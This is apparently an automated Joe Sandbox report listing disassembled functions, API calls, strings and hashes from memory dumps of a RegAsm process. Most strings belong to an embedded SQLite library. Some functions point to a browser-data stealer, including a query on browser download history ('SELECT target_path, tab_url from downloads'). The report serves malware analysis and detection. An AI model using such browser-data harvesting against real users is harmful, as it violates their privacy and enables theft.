Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: (FK)
API String ID: 0-1642768157
Opcode ID: 0814285b6810c0ebd20f4e43fc2232166b8e8006f657536689d7e9cf560282dc
Instruction ID: 7c6d62fa4e290ebdc907c34b889d516732975a2b9b4e0ee6517f081c207c5e8b
Opcode Fuzzy Hash: 0814285b6810c0ebd20f4e43fc2232166b8e8006f657536689d7e9cf560282dc
Instruction Fuzzy Hash: F281D77F7052009FEB009F29EC80B96F7A1FB84335F24866EE586976A1E732E511DB50

Uniqueness

Uniqueness Score: -1.00%

Function 1B628D80 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 271COMMON

Download Yara Rule

Strings

readonly_shm, xrefs: 1B628F52
winOpenShm, xrefs: 1B628FB9
%s-shm, xrefs: 1B628DF2

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s-shm$readonly_shm$winOpenShm
API String ID: 0-2815843928
Opcode ID: 03cbb361dd652c68e623911a9c663b6eb8e515f5004563a97a30cbfa916c5ab1
Instruction ID: 34baf2fa92d393f7342cbc73b39f95de2fbfe01dff796cecdc8bed2780ce5d9f
Opcode Fuzzy Hash: 03cbb361dd652c68e623911a9c663b6eb8e515f5004563a97a30cbfa916c5ab1
Instruction Fuzzy Hash: DA91FDB0900311ABEB049F64CC88B9777ACBFA0355F44066DFCC997241E735E958CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BEB00 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 187COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B4BECD5
%s at line %d of [%.10s], xrefs: 1B4BECDA
%.*s%s, xrefs: 1B4BEC88
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4BECCB

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %.*s%s$%s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-894757972
Opcode ID: 99777d64409a22d8854572072791254972214cb28cdf0e36cc2433c65ca66de3
Instruction ID: a49efca2b14589892db43a56ca7a7ba4252e460cebd1fff268c0c29263478e58
Opcode Fuzzy Hash: 99777d64409a22d8854572072791254972214cb28cdf0e36cc2433c65ca66de3
Instruction Fuzzy Hash: 5F61E375A443418BDB24CF14CA81AEBB7F1AFC8714F048D6CE9899B341D735E945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B499DA0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 160COMMON

Download Yara Rule

Strings

[%!g,%!g]], xrefs: 1B499EC0
[%!g,%!g],, xrefs: 1B499E7E

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: [%!g,%!g],$[%!g,%!g]]
API String ID: 0-3388633204
Opcode ID: 4011be12b25922a1a4e21b3965c9d44b0681f62f27b98117cac249d1591be248
Instruction ID: af5b3ce9ac5d4c8047234bb33003af26e3f0604e43694255a5edd77b0d3fcc0b
Opcode Fuzzy Hash: 4011be12b25922a1a4e21b3965c9d44b0681f62f27b98117cac249d1591be248
Instruction Fuzzy Hash: D25128749007069BDB10DF69ECC4B97BBB4AF9A310F00861DFC8996241E775E489CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BF330 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 126COMMON

Download Yara Rule

Strings

unable to validate the inverted index for FTS%d table %s.%s: %s, xrefs: 1B4BF418
INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');, xrefs: 1B4BF33F
malformed inverted index for FTS%d table %s.%s, xrefs: 1B4BF3F3

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');$malformed inverted index for FTS%d table %s.%s$unable to validate the inverted index for FTS%d table %s.%s: %s
API String ID: 0-2809892521
Opcode ID: ee5c5272594c287bc3584bd0bdeb93b02ed8a7b01c83ef9510aac51e96d7cbf2
Instruction ID: be7d22d1c77e28fe898419bd949cb6a2578571de44d0a00e3437540120dee53a
Opcode Fuzzy Hash: ee5c5272594c287bc3584bd0bdeb93b02ed8a7b01c83ef9510aac51e96d7cbf2
Instruction Fuzzy Hash: 6941C4719012219BD718AF65EC88BDB3B6CEFA4265F04882DFD89C2241D731D55DCBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C6E30 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 30COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B4C6E62
invalid, xrefs: 1B4C6E47
API call with %s database connection pointer, xrefs: 1B4C6E4C
%s at line %d of [%.10s], xrefs: 1B4C6E67
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4C6E58

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse
API String ID: 0-3670841456
Opcode ID: 1ae217adf6e2fbb2f759bd11c70840521828c86f3b499255bd0735594ce934e3
Instruction ID: ed283b2a72ec2de38416cd6071c531fc4223db368e81d6326a9326863f8db62a
Opcode Fuzzy Hash: 1ae217adf6e2fbb2f759bd11c70840521828c86f3b499255bd0735594ce934e3
Instruction Fuzzy Hash: FDF02768A00144BAEF145218CD42BEA3B221B68B06F80C14EF1951F286C32664438350

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C6EB0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 29COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B4C6EE5
invalid, xrefs: 1B4C6ECA
API call with %s database connection pointer, xrefs: 1B4C6ECF
%s at line %d of [%.10s], xrefs: 1B4C6EEA
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4C6EDB

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse
API String ID: 0-3670841456
Opcode ID: 589ca54cdb5fca9a3cb4703c4efc30dca79f4af0e461bd3b5bd8f1d38e613083
Instruction ID: 0ec5623132c005a5d0e2eb1d3fc05155505aecd118ee9ed1288a8c730fa9f49e
Opcode Fuzzy Hash: 589ca54cdb5fca9a3cb4703c4efc30dca79f4af0e461bd3b5bd8f1d38e613083
Instruction Fuzzy Hash: 49F0E578B04584BFEF204210DD62FE72B961794B03F80C1AAF2915F2E2E724A4404311

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B30F0 Relevance: 12.2, APIs: 8, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1672879316270d8679779d830de0ef40e57e318551c8266025f220ddf6d90acc
Instruction ID: 2b82ecaca1a69a3cf2d0139c3b76ff0669bf290cecf4c559af3def420791ff50
Opcode Fuzzy Hash: 1672879316270d8679779d830de0ef40e57e318551c8266025f220ddf6d90acc
Instruction Fuzzy Hash: 4D518475608200AFDB40EB64FC45FEA7BE2EFC5320F0985A8F558872B1E631D9519B52

Uniqueness

Uniqueness Score: -1.00%

Function 00415199 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041519E
lstrcat.KERNEL32(?,?), ref: 004151F4

Part of subcall function 0040FD0C: SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

lstrcat.KERNEL32(?,00000000), ref: 0041521A
lstrcat.KERNEL32(?,?), ref: 0041523A
lstrcat.KERNEL32(?,?), ref: 0041524E
lstrcat.KERNEL32(?), ref: 00415261
lstrcat.KERNEL32(?,?), ref: 00415275
lstrcat.KERNEL32(?), ref: 00415288

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FCC8: _EH_prolog.MSVCRT ref: 0040FCCD
Part of subcall function 0040FCC8: GetFileAttributesA.KERNEL32(00000000,?,0040CB40,?,?,?,?), ref: 0040FCE1

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414ED2: _EH_prolog.MSVCRT ref: 00414ED7
Part of subcall function 00414ED2: GetProcessHeap.KERNEL32(00000000,0098967F,?,00000104), ref: 00414EEF
Part of subcall function 00414ED2: HeapAlloc.KERNEL32(00000000,?,00000104), ref: 00414EF6
Part of subcall function 00414ED2: wsprintfA.USER32 ref: 00414F0E
Part of subcall function 00414ED2: FindFirstFileA.KERNEL32(?,?), ref: 00414F25
Part of subcall function 00414ED2: StrCmpCA.SHLWAPI(?,00425838), ref: 00414F42
Part of subcall function 00414ED2: StrCmpCA.SHLWAPI(?,0042583C), ref: 00414F5C
Part of subcall function 00414ED2: wsprintfA.USER32 ref: 00414F80

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$FileHeapwsprintf$AllocAttributesFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 2058169020-0
Opcode ID: edcf4ba042a2a60bc2fec9dfa5b2655c768123c02b02134ec45f543cf66a4bf4
Instruction ID: 3a2e9aa6764a06c96bbb454120c3335839c9a93bb3da0b164c669daa5d799fab
Opcode Fuzzy Hash: edcf4ba042a2a60bc2fec9dfa5b2655c768123c02b02134ec45f543cf66a4bf4
Instruction Fuzzy Hash: B341CEB2D0022DAACF11EBE1DC49EDE777CAB19314F4005BAB509E3155EA38D7588FA4

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AB6E0 Relevance: 12.1, APIs: 8, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40742c4e5ee129739a7085e27133753dd1fa2796ca20c604c64af7d22d850fe6
Instruction ID: f56ce666a3f8dc8792a426ead96b289c0b3afba88077b89616071d29f935a704
Opcode Fuzzy Hash: 40742c4e5ee129739a7085e27133753dd1fa2796ca20c604c64af7d22d850fe6
Instruction Fuzzy Hash: A31196F99041107FDE049B24FC42FAB7B69EF95610F44849CF886C7210E736E919D2A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B507920 Relevance: 10.8, APIs: 7, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c0a64c567377825aa826e38cd61e7aab24cd6bc2d57a6723dcf8eefeade29f
Instruction ID: 540d36e59252c19a3777ba8528a3b8d9cbe1473a9e59c7463fe7d8f63c94216b
Opcode Fuzzy Hash: d7c0a64c567377825aa826e38cd61e7aab24cd6bc2d57a6723dcf8eefeade29f
Instruction Fuzzy Hash: 54B1CFB1A04702ABE744CF29DC81A9ABBE5FF88254F04453DF949D3711EB35F9248B91

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AE260 Relevance: 10.8, APIs: 7, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c696cbe0c67dbd42d6d28b23f906cf8165a802ceb2b5a74fd68971baef17ece
Instruction ID: a549709cbc80f821b13e53177f626a24d1250cbb50b85ec0bf15b53d9d1babf2
Opcode Fuzzy Hash: 6c696cbe0c67dbd42d6d28b23f906cf8165a802ceb2b5a74fd68971baef17ece
Instruction Fuzzy Hash: 8FA16771A443514FDB20CF38D8917DABBE5AFA8314F28892DE8E697381E335D845CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0040752E Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 273stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00407533

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

lstrlenA.KERNEL32(00000000), ref: 004077FF
lstrlenA.KERNEL32(00000000), ref: 00407813

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Downloads, xrefs: 004075E6
Downloads, xrefs: 00407563
SELECT target_path, tab_url from downloads, xrefs: 004076D0

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$lstrcat$CreateObjectSingleThreadWait
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 3193997572-2241552939
Opcode ID: 345d1b81f1e86f66f721e7032b8650fa5e2dcdd9e18d0337e69d876e03cf7983
Instruction ID: 24812c0fe3bee4bc31f2b58e37fc786c9efcc8e1e356c96fca072d0e9bd0485e
Opcode Fuzzy Hash: 345d1b81f1e86f66f721e7032b8650fa5e2dcdd9e18d0337e69d876e03cf7983
Instruction Fuzzy Hash: F3B17171804148EACB05EBE6D955FEDBBB5AF29308F1044AEE446731C2DB781B18DB36

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A5930 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

simple, xrefs: 1B4A5A38, 1B4A5A84, 1B4A5A95, 1B4A5B27
unknown tokenizer: %s, xrefs: 1B4A5B28
CREATE TABLE x(input, token, start, end, position), xrefs: 1B4A5933

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
